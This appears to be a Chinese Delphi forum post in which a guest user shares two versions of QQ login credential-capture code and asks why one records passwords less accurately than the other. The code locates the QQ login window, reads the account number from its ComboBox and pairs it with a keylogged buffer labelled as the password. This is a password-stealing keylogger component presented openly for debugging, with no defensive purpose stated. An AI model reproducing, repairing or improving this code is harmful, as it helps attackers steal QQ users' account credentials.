小
小狗熊
Unregistered / Unconfirmed
GUEST, unregistred user!
function Get_qqnumber:string;<br>var<br> buffer:array[0..50] of char;<br> Window,Number_window:Longint;<br>begin<br> result:='';<br> Window:=findwindow('#32770',nil);<br> if window=0 then exit;<br> Number_window:=FindWindowex(window,0,'ComboBox',nil);<br> if Number_window=0 then exit;<br> SendMessage(Number_window, $000D, 50, Integer(@buffer));<br> result:=string(buffer);<br>end;<br><br>procedure TimerProc2(uID,uMsg,dwUser,dw1,dw2WORD);stdcall;<br><br>var<br>kk,qqtemp:string;<br>window,hbutton:thandle;<br><br>begin<br> {$IFDEF Win32}<br> Wnd := GetForegroundWindow;<br> {$ELSE}<br> Wnd := GetActiveWindow;<br> {$ENDIF}<br><br>window:=FindWindow('#32770', 'QQ用户登录');<br>kk:=qq;<br><br>if (QQ <> Get_qqnumber) and (Get_qqnumber<>'') then buffer:=''; //如果结果是否,从这次开始,键盘记录就算数了<br>if length(Get_qqnumber)>4 then QQ:= Get_qqnumber;<br><br>if (kk<>'') and (buffer<>'') and (wnd<>window) then<br>begin<br><br>password_str:='号码'+QQ+'密码'+buffer;<br><br>MessageBox(0, pchar(password_str), '提示', mb_iconinformation);<br><br><br>end;<br><br><br> password_str:='';<br> buffer:='';<br>end;<br><br><br><br><br><br>第二段代码<br>procedure TForm1.Timer2Timer(Sender: TObject);<br>//转移<br>function Get_qqnumber:string;<br>var<br> buffer:array[0..50] of char;<br> Window,Number_window:Longint;<br>begin<br> result:='';<br> Window:=findwindow('#32770',nil);<br> if window=0 then exit;<br> Number_window:=FindWindowex(window,0,'ComboBox',nil);<br> if Number_window=0 then exit;<br> SendMessage(Number_window, $000D, 50, Integer(@buffer));<br> result:=string(buffer);<br>end;<br><br>var<br>temp1,qqtemp,kk:string;<br>window,hbutton,wnd:thandle;<br><br>begin<br> {$IFDEF Win32}<br> Wnd := GetForegroundWindow;<br> {$ELSE}<br> Wnd := GetActiveWindow;<br> {$ENDIF}<br>//改进<br>window:=FindWindow('#32770', 'QQ用户登录');<br>kk:=qq;<br>edit1.text:=kk;<br>edit2.Text:=buffer;<br><br>if (QQ <> Get_qqnumber) and (Get_qqnumber<>'') then buffer:=''; //如果结果是否,从这次开始,键盘记录就算数了<br>if length(Get_qqnumber)>4 then QQ:= Get_qqnumber;<br><br>if (kk<>'') and (buffer<>'') and (wnd<>window) then<br>begin<br>//MessageBox(0, pchar('号码'+kk+'密码'+buffer), '提示', mb_iconinformation);<br>form1.Memo1.Lines.Add('号码'+kk+'密码'+buffer);<br>QQ:='';<br>buffer:='';<br><br>end;<br><br><br>问题在于,第一段代码记录的就不准。。。。第二段代码记录的就非常准确,不知道哪儿出毛病了<br>第一段用的是<br>hTimer2:=TimeSetEvent(1,0,TimerProc2,0,TIME_PERIODIC);<br>精确计时<br>第二段用的是FORM上的TIMER控件